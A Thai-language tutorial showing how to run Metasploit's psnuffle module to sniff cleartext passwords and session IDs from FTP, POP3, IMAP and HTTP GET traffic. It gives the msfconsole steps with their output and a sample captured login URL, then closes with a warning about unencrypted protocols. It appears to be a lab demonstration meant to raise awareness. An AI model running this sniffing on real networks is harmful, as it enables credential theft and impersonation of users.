บทนำ (Overview)
“psnuffle” เป็นส่วนประกอบหนึ่งของโปรแกรม “Metasploit password sniffing” ซึ่งสามารถดักจับข้อมูลรหัสผ่านของโปรโตคอล pop3, imap, ftp แต่ในส่วนของโปรโตคอล “HTTP” จะสามารถดักจับได้เฉพาะส่วนของ “method” ที่เป็น “GET” ซึ่งขึ้นอยู่กับ “Programmer” ที่เขียนเว็บไซต์ ถ้า “username” และ “password” ถูกส่งไปยังเครื่อง “Server” โดย “GET” ตัวโปรแกรมนี้จะสามารถดักจับรหัสผ่านได้ และถ้า “Programmer” และในทำนองเดียวกันเขียนโปรแกรมโดยส่งค่า “SessionId” ผ่านไปยัง “Method” ที่เป็น “GET” จะทำให้ค่า “SessionId” (Session in URL) ดังกล่าวจะสามารถเห็นได้เช่นกัน ส่งผลให้สามารถดักจับ “SessionId” และปลอมตัวเป็นผู้ใช้ (users) นั้น ๆ
ขั้นตอน (Steps)
เรียกใช้โปรแกรม
โปรแกรมดังกล่าวถูกติดตั้งอยู่บนระบบปฎิบัติการ “Kali” หรือ “Backtrack” Linux
- ค้นหาตัวโปรแกรม “psnuffle”
msf > search psnuffle [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/sniffer/psnuffle normal pSnuffle Packet Sniffer
- เมื่อค้นหาตัวโปรแกรม “psnuffle” เจอเราสามารถเรียกใช้งานได้เลย
msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) >
- นอกจากนี้ยังสามารถปรับแต่งการใช้งานโดยใช้ “options”
msf auxiliary(psnuffle) > show options Module options (auxiliary/sniffer/psnuffle): Name Current Setting Required Description ---- --------------- -------- ----------- FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all". SNAPLEN 65535 yes The number of bytes to capture TIMEOUT 500 yes The number of seconds to wait for new data Auxiliary action: Name Description ---- ----------- Sniffer
- ใช้คำสั่ง “Run” เพื่อให้รอข้อมูลที่ดักจับได้
msf auxiliary(psnuffle) > run [*] Auxiliary module execution completed [*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb... [*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb... [*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb... msf auxiliary(psnuffle) > [*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb... [*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb... [*] Sniffing traffic.....
ทดสอบดักจับข้อมูล HTTP
เมื่อ Hacker ทำการดักจับข้อมูลเรียบร้อยแล้วก็รอเพียงเวลาให้เหยื่อเข้าใช้งานเว็บไซต์ การใช้งาน “FTP” หรือ “email” เพื่อให้ได้มาข้อมูลเช่น “username” “password” หรือ “SessionId” เป็นต้น
- ทดสอบโดยการเปิด “Browser” แล้วลองเข้า “Website” ที่ต้องการ เช่น
[*] Sniffing traffic..... [*] HTTP GET: 192.168.202.128:48857-202.43.45.132:80 http://blog.XXXX.com/login.php?user_login=%22test%22&user_pass=%22pass%22
สรุปผลการทดลอง (Conclusion)
เพราะฉะนั้นการใช้งาน “Protocol” ที่ไม่ได้เข้ารหัสเช่น “FTP” และ “HTTP” หรืออื่น ๆ ควรตระหนักถึงความสำคัญ เพื่อป้องกันมิให้ผู้ไม่ประสงค์สามารถดักจับข้อมูลผ่านเครือข่ายได้